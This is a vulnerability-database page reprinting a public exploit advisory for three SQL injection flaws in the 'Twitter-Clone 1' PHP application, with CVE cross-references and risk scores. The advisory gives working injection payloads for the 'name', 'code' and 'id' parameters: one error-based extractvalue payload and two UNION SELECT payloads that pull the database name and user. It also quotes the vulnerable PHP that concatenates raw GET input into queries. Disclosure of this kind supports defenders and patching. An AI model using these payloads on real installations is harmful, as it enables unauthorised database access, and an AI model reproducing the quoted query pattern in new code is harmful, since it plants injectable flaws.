Twitter-Clone 1 - 'name'/'code'/'id' Multiple SQL Injections (SQLi)
Twitter-Clone 1 'code' SQL Injection, Win 1
| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
| CVE-2018-25364 | 25 May 202614:15 | – | attackerkb | |
| Twitter-clone SQL injection vulnerability | 25 May 202600:00 | – | cnnvd | |
| CVE-2018-25364 | 25 May 202614:15 | – | cve | |
| CVE-2018-25364 Twitter-Clone 1 SQL Injection via search.php | 25 May 202614:15 | – | cvelist | |
| EUVD-2018-21886 | 25 May 202614:15 | – | euvd | |
| CVE-2018-25364 | 25 May 202615:16 | – | nvd | |
| PT-2026-43217 | 25 May 202600:00 | – | ptsecurity | |
| CVE-2018-25364: Improper Neutralization of Special Elements used in an SQL Command | 25 May 202600:00 | – | rapid7 | |
| CVE-2018-25364 Twitter-Clone 1 SQL Injection via search.php | 25 May 202614:15 | – | vulnrichment |
# Exploit Title: Twitter-Clone 1 - 'code' SQL Injection
# Date: 2018-08-22
# Exploit Author: L0RD
# Vendor Homepage: https://github.com/Fyffe/PHP-Twitter-Clone/
# Version: 1
# CVE: N/A
# Tested on: Win 10
# vulnerable files : [mailactivation.php , stalkers.php , search.php]
# vulnerable parameters : [name , code , id]
# 1) search.php :
# vulnerable parameter : name
# Type : Error-based
# Payload :
%' AND extractvalue(1,concat(0x3a,database(),0x3a))%23
# vulnerable code :
if($_GET['name']!=""){
$what = $_GET['name'];
include "connect.php";
$users = mysqli_query($con, "SELECT id, username, followers, following,
tweets
FROM users
WHERE username LIKE '%$what%'
ORDER BY username ASC
LIMIT 0, 10
");
# 2) mailactivation.php :
# vulnerable parameter : code
# Type : Union query
# Payload :
' UNION SELECT 1,user(),3,4,5,6%23
# vulnerable code :
include "connect.php";
$givenname = $_GET['username'];
$givencode = $_GET['code'];
$query = mysqli_query($con, "SELECT code, active
FROM users
WHERE code = '$givencode' AND username = '$givenname'
");
$row = mysqli_fetch_assoc($query);
$wantedcode = $row['code'];
# 3) stalkers.php :
# vulnerable parameter : id
# Type : Union query
# Payload :
' UNION SELECT 1,2,user(),4,5,6
# vulnerable code :
if ($_GET['id'] != "") {
$theid = $_GET['id'];
include "connect.php";
$stalked = mysqli_query($con, "SELECT id, username, followers, following
FROM users
WHERE id = '$theid'
");
$row1 = mysqli_fetch_assoc($stalked);
$usern = $row1['username'];Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
23 Nov 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 3.18.2
CVSS 48.8
EPSS0.00588
SSVC